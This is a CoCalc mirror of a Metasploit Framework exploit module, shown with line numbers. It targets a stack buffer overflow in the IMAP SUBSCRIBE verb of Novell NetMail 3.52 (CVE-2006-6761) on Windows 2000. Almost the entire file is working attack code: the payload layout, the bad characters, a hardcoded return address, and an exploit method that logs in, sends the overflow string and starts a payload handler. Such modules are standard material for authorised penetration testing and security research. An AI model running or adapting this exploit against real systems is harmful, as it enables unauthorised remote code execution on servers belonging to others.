CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/imap/novell_netmail_subscribe.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Imap
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Novell NetMail IMAP SUBSCRIBE Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP SUBSCRIBE
16
verb. By sending an overly long string, an attacker can overwrite the
17
buffer and control program execution.
18
},
19
'Author' => [ 'MC' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2006-6761' ],
24
[ 'OSVDB', '31360' ],
25
[ 'BID', '21728' ],
26
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=454' ],
27
],
28
'Privileged' => true,
29
'DefaultOptions' =>
30
{
31
'EXITFUNC' => 'thread',
32
},
33
'Payload' =>
34
{
35
'Space' => 500,
36
'BadChars' => "\x00\x0a\x0d\x20",
37
'StackAdjustment' => -3500,
38
},
39
'Platform' => 'win',
40
'Targets' =>
41
[
42
['Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 }],
43
],
44
'DefaultTarget' => 0,
45
'DisclosureDate' => '2006-12-23'))
46
47
end
48
49
def exploit
50
sploit = "a002 SUBSCRIBE #" + rand_text_english(1602) + payload.encoded
51
sploit << "\xeb\x06" + rand_text_english(2) + [target.ret].pack('V')
52
sploit << [0xe8, -485].pack('CV') + rand_text_english(150)
53
54
info = connect_login
55
56
if (info == true)
57
print_status("Trying target #{target.name}...")
58
sock.put(sploit + "\r\n")
59
else
60
print_status("Not falling through with exploit")
61
end
62
63
handler
64
disconnect
65
end
66
end
67
68